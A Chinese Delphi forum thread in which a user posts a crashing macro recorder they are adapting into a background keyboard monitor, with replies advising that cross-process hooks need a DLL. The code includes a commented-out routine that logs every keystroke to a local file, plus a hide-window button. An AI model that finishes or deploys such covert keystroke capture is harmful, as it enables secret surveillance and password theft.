关于键盘钩子的问题(150分)

我想做个后台监视键盘的程序，根据原有的程序改的。现在程序如下：
main.pas
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Spin, Recorder, Menus, ComCtrls, HotKeySpy
;

type
TForm1 = class(TForm)
BTNPlay: TButton;
BTNRecord: TButton;
GRPSpeed: TGroupBox;
SpinEdit1: TSpinEdit;
BTNStop: TButton;
BTNSave: TButton;
BTNLoad: TButton;
OpenDialog: TOpenDialog;
SaveDialog: TSaveDialog;
txtstatus: TMemo;
BTNHide: TButton;
HotKeySpy1: THotKeySpy;
HotKey1: THotKey;
Label1: TLabel;
procedure BTNRecordClick(Sender: TObject);
procedure BTNStopClick(Sender: TObject);
procedure BTNPlayClick(Sender: TObject);
procedure SpinEdit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BTNLoadClick(Sender: TObject);
procedure BTNSaveClick(Sender: TObject);
procedure BTNHideClick(Sender: TObject);
private
{ Private declarations }
procedure OnRecorderStateChange(NewState : TRecorderState);
procedure HandleMessage(var Msg: TMsg; var Handled: Boolean);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
uses
IniFiles;

const
ApplicationName = 'recorder';
var
ApplicationDir_ : array [0..255] of char;
PrivateProfileFileName_ : string;
// hotkeyitem:Thotkeyitem;

{$R *.DFM}
{~t}
(**************)
(* ExecDialog *)
(**************)

function ExecDialog(D : TOpenDialog; const Key : string) : boolean;
var
IniFile : TIniFile;
begin
IniFile := TIniFile.Create(PrivateProfileFileName_);
try
if D.FileName = '' then
D.FileName := IniFile.ReadString('LastFile',Key,'');
Result := D.Execute;
if Result then
IniFile.WriteString('LastFile',Key,D.FileName);
finally
IniFile.Free;
end {try};
end {ExecDialog};


(***********************)
(* TForm1.BTNLoadClick *)
(***********************)

procedure TForm1.BTNLoadClick(Sender: TObject);
var
F : TFileStream;
begin
if ExecDialog(OpenDialog, '1') then begin
F := TFileStream.Create(OpenDialog.FileName, fmOpenRead);
try
TheRecorder.Stream.Size := 0;
TheRecorder.Stream.CopyFrom(F, F.Size);
OnRecorderStateChange(rsIdle);
finally
F.Free;
end;
end {if};
end {TForm1.BTNLoadClick};


(***********************)
(* TForm1.BTNPlayClick *)
(***********************)

procedure TForm1.BTNPlayClick(Sender: TObject);
begin
TheRecorder.DoStop;
TheRecorder.DoPlay;
end {TForm1.BTNPlayClick};


(*************************)
(* TForm1.BTNRecordClick *)
(*************************)

procedure TForm1.BTNRecordClick(Sender: TObject);
begin
TheRecorder.DoStop;
TheRecorder.DoRecord(false)
end {TForm1.BTNRecordClick};


(***********************)
(* TForm1.BTNSaveClick *)
(***********************)

procedure TForm1.BTNSaveClick(Sender: TObject);
var
F : TFileStream;
begin
if ExecDialog(SaveDialog, '1') then begin
F := TFileStream.Create(SaveDialog.FileName, fmCreate);
try
TheRecorder.Stream.Seek(0, soFromBeginning);
F.CopyFrom(TheRecorder.Stream, TheRecorder.Stream.Size);
finally
F.Free;
end;
end {if};
end {TForm1.BTNSaveClick};


(***********************)
(* TForm1.BTNStopClick *)
(***********************)

procedure TForm1.BTNStopClick(Sender: TObject);
begin
TheRecorder.DoStop;
end {TForm1.BTNStopClick};


(*********************)
(* TForm1.FormCreate *)
(*********************)

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := HandleMessage;
TheRecorder.OnStateChange := OnRecorderStateChange;
SpinEdit1.Value := TheRecorder.SpeedFactor;
OnRecorderStateChange(rsIdle);
end {TForm1.FormCreate};


(************************)
(* TForm1.HandleMessage *)
(************************)

procedure TForm1.HandleMessage(var Msg: TMsg; var Handled: Boolean);
begin
if Msg.Message = WM_CANCELJOURNAL then
TheRecorder.DoStop;
{if Msg.message = WM_KEYDOWN then
showmessage(chr(msg.wParam)); }
end {TForm1.HandleMessage};


(********************************)
(* TForm1.OnRecorderStateChange *)
(********************************)

procedure TForm1.OnRecorderStateChange(NewState: TRecorderState);
begin
case NewState of
rsIdle : Caption := 'Idle';
rsRecording : Caption := 'Recording';
rsPlaying : Caption := 'Playing'
end {case};
BTNPlay.Enabled := (NewState in [rsIdle]) and (TheRecorder.Stream.Size > 0);
BTNRecord.Enabled := NewState in [rsIdle];
BTNStop.Enabled := NewState in [rsRecording];
BTNSave.Enabled := (NewState in [rsIdle]) and (TheRecorder.Stream.Size > 0);
BTNLoad.Enabled := NewState in [rsIdle];
end {TForm1.OnRecorderStateChange};


(**************************)
(* TForm1.SpinEdit1Change *)
(**************************)

procedure TForm1.SpinEdit1Change(Sender: TObject);
begin
TheRecorder.SpeedFactor := SpinEdit1.Value;
end {TForm1.SpinEdit1Change};


{~b}

procedure TForm1.BTNHideClick(Sender: TObject);
begin
// Showmessage('When you want to show me, '+#13+' just hit ctrl+shift+'+shortcuttotext(hotkey1.HotKey)+'.');
//ShowWindow(Application.Handle, SW_HIDE);
form1.Hide;
end;

initialization
GetModuleFileName(hInstance,ApplicationDir_,SizeOf(ApplicationDir_));
StrPCopy(ApplicationDir_,ExtractFilePath(StrPas(ApplicationDir_)));
PrivateProfileFileName_ := StrPas(ApplicationDir_)+ApplicationName+'.ini';
end.

recorder.pas

unit Recorder;

interface
uses
Classes, Windows;

type
TRecorderState = (rsIdle, rsRecording, rsPlaying);
TStateChangeEvent = procedure(NewState : TRecorderState) of object;

TRecorder = class(TObject)
private
EventMsg : TEVENTMSG;
FState : TRecorderState;
FStream : TStream;
HookHandle,HookHandle2 : THandle;
BaseTime : integer;
FSpeedFactor : integer;
FOnStateChange : TStateChangeEvent;
procedure SetSpeedFactor(const Value: integer);
constructor Create;
destructor Destroy; override;
procedure SetState(const Value: TRecorderState);
public
procedure DoPlay;
procedure DoRecord(Append : boolean);
procedure DoStop;
property SpeedFactor : integer read FSpeedFactor write SetSpeedFactor;
property OnStateChange : TStateChangeEvent read FOnStateChange write FOnStateChange;
property State : TRecorderState read FState;
property Stream : TStream read FStream;
end;

var
TheRecorder : TRecorder;

implementation
uses
SysUtils, Messages, main;
const
CtlChars:set of Byte=[1..12,14..31];
{~t}
(************)
(* PlayProc *)
(************)

function PlayProc(Code : integer; Undefined : WPARAM; P : LPARAM) : LRESULT; stdcall;
begin
if Code < 0 then
Result := CallNextHookEx(TheRecorder.HookHandle, Code, Undefined, P)
else begin
case Code of
HC_SKIP: begin
if TheRecorder.FStream.Position < TheRecorder.FStream.Size then begin
TheRecorder.FStream.Read(TheRecorder.EventMsg, SizeOf(EventMsg));
TheRecorder.EventMsg.Time := TheRecorder.SpeedFactor*(TheRecorder.EventMsg.Time div 100);
TheRecorder.EventMsg.Time := TheRecorder.EventMsg.Time + TheRecorder.BaseTime;
end else
TheRecorder.SetState(rsIdle);
end;

HC_GETNEXT: begin
Result := TheRecorder.EventMsg.Time - GetTickCount();
if Result < 0 then
Result := 0;
PEVENTMSG(P)^ := TheRecorder.EventMsg;
end;
else
PEVENTMSG(P)^ := TheRecorder.EventMsg;
Result := CallNextHookEx(TheRecorder.HookHandle, Code, Undefined, P)
end {case};
end {if};
end {PlayProc};


(**************)
(* RecordProc *)
(**************)

function RecordProc(Code : integer; Undefined : WPARAM; P : LPARAM) : LRESULT; stdcall;
begin
Result:=0;
if Code < 0 then
Result := CallNextHookEx(TheRecorder.HookHandle, Code, Undefined, P)
else begin
case Code of
HC_ACTION: begin
TheRecorder.EventMsg := PEVENTMSG(P)^;
TheRecorder.EventMsg.Time := TheRecorder.EventMsg.Time-TheRecorder.BaseTime;
if (TheRecorder.EventMsg.Message >= WM_KEYFIRST) and (TheRecorder.EventMsg.Message <= WM_KEYLAST) and
(LoByte(TheRecorder.EventMsg.ParamL) = VK_CANCEL) then begin
// Recording aborted by ctrl-Break
TheRecorder.SetState(rsIdle);
end {if};
TheRecorder.FStream.Write(TheRecorder.EventMsg, sizeOf(TheRecorder.EventMsg));
end;
HC_SYSMODALON:;
HC_SYSMODALOFF:
end {case};
end {if};
end {RecordProc};

(********************************************)
(* Write to File Proc : tofileproc (A hack) *)
(********************************************)

procedure tofileproc(filename,ch:string);
var f:textfile;
begin
try
assignfile(f,'c:/recoderdata2.txt');
if not fileexists('c:/recoderdata2.txt') then rewrite(f);
append(f);
write(f,ch);
write(f,'|');
finally
closefile(f);
end;

end;


(********************)
(* KeyProc (A Hack) *)
(********************)

(*reference code lists bellow
procedure TfrmHook.KbdMsg(var Msg:TMessage);
var KNChar;tmpRes:Integer; KS:TKeyBoardState; ch:String;
lp,wp:LongInt;
label Bye;
begin
lp:=Msg.lParam;wp:=Msg.wParam;
if ((lp and $80000000)=0) then begin
KN:=StrAlloc(2);
if GetKeyboardState(KS)=False then goto Bye;
tmpRes:=ToAscii(wp,lp,KS,KN,0);
if (tmpRes=1) and not(Ord(String(KN)[1])in CtlChars) then begin
ch:=String(KN)[1];
if ord(ch[1])=13 then ch:=ch+#10;
frmHook.txtStatus.Text:=frmHook.txtStatus.Text+ch;
end else begin
KN:=StrAlloc(10);
if GetKeyNameText(lp,KN,10)<> 0 then begin
frmHook.txtStatus.Text:=frmHook.txtStatus.Text+'{'+String(KN)+'}';
end;
end;
end;
Bye:
end;*)

function KeyProc(Code:integer;wpara:WPARAM;lpara:LPARAM):LRESULT ;stdcall;
const
_KeyPressMask = $80000000;
var
KNChar;tmpRes:Integer; KS:TKeyBoardState; ch:String;
begin
Result:=0;
if Code < 0 then
begin
Result := CallNextHookEx(TheRecorder.HookHandle, Code, wpara, lpara);
end else begin
if (lpara and _KeyPressMask)=0 then
begin
(* KN:=StrAlloc(2);
if GetKeyboardState(KS)=False then exit;
tmpRes:=ToAscii(wpara,lpara,KS,KN,0);
if (tmpRes=1) and not(Ord(String(KN)[1])in CtlChars) then begin
ch:=String(KN)[1];
if ord(ch[1])=13 then ch:=ch+#10;
tofileproc('c:/recorderdata2.txt',ch);
form1.txtstatus.Text:=form1.txtstatus.Text+ch;
end else begin
KN:=StrAlloc(10);
if GetKeyNameText(lpara,KN,10)<> 0 then begin
tofileproc('c:/recorderdata2.txt','{'+String(KN)+'}');
form1.txtstatus.Text:=form1.txtstatus.Text+'{'+String(KN)+'}';
end;
end;*)
end;
end;
end;



(********************)
(* TRecorder.Create *)
(********************)

constructor TRecorder.Create;
begin
if TheRecorder = nil then begin
FStream := TMemoryStream.Create;
FSpeedFactor := 100;
end else
Fail;
end {TRecorder.Create};


(*********************)
(* TRecorder.Destroy *)
(*********************)

destructor TRecorder.Destroy;
begin
DoStop;
FStream.Free;
inherited;
end {TRecorder.Destroy};


(********************)
(* TRecorder.DoPlay *)
(********************)

procedure TRecorder.DoPlay;
begin
if State <> rsIdle then
raise Exception.Create('Recorder: Not ready to play.')
else if FStream.Size = 0 then
raise Exception.Create('Recorder: Nothing to play')
else begin
FStream.Seek(0,0);
FStream.Read(EventMsg, SizeOf(EventMsg));
HookHandle := SetWindowsHookEx(WH_JOURNALPLAYBACK, @PlayProc, hInstance, 0);
// HookHandle := SetWindowsHookEx(WH_KEYBOARD, @PlayProc, hInstance, 0);
if HookHandle = 0 then
raise Exception.Create('Playback hook cannot be created')
else begin
BaseTime := GetTickCount();
SetState(rsPlaying);
end {if};
end {if};
end {TRecorder.DoPlay};


(**********************)
(* TRecorder.DoRecord *)
(**********************)

procedure TRecorder.DoRecord(Append : boolean);
begin
if State <> rsIdle then
raise Exception.Create('Recorder: NotReady to record.')
else begin
if not Append then begin
FStream.Size := 0;
BaseTime := GetTickCount();
end else begin
EventMsg.Time := 0;
if FStream.Size > 0 then begin
FStream.Seek(-SizeOf(EventMsg),soFromCurrent);
FStream.Read(TheRecorder.EventMsg, SizeOf(EventMsg));
end {if};
BaseTime := GetTickCount() - EventMsg.Time;
end {if};
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @RecordProc, hInstance, 0);
HookHandle2 := SetWindowsHookEx(WH_KEYBOARD, @KeyProc, hInstance, 0);
if (HookHandle = 0) or (HookHandle2 = 0) then
raise Exception.Create('JournalHook cannot be created')
else begin
SetState(rsRecording);
end {if};
end {if};
end {TRecorder.DoRecord};


(********************)
(* TRecorder.DoStop *)
(********************)

procedure TRecorder.DoStop;
begin
SetState(rsIdle);
end {TRecorder.DoStop};


(****************************)
(* TRecorder.SetSpeedFactor *)
(****************************)

procedure TRecorder.SetSpeedFactor(const Value: integer);
begin
if Value > 0 then
FSpeedFactor := Value;
end {TRecorder.SetSpeedFactor};


(**********************)
(* TRecorder.SetState *)
(**********************)

procedure TRecorder.SetState(const Value: TRecorderState);
begin
if (Value = rsIdle) and (HookHandle <> THandle(0)) then begin
UnhookWindowsHookEx(HookHandle);
HookHandle := THandle(0);
end {if};
if Value <> FState then begin
FState := Value;
if Assigned(FOnStateChange) then
FOnStateChange(FState)
end {if};
end {TRecorder.SetState};


{~b}
initialization
TheRecorder := nil;
TheRecorder := TRecorder.Create;
finalization
TheRecorder.Free;
end.

现在运行后的问题是，只要那个窗口激活，按任意键都会将那个窗口无声无息关闭，连delphi的IDE都是

帮我找找Bug，谢了！

跨进程的钩子必须使用共享内存，见
http://www.delphibbs.com/delphibbs/dispq.asp?lid=635375

就是说，必须将截取钩子的函数放到一个DLL中？

〉〉必须将截取钩子的函数放到一个DLL中
基本上是这样的，
不过也不一定。
jingtao好像说过可以不放进dll的跨进程键盘钩子。
你查查他的贴子。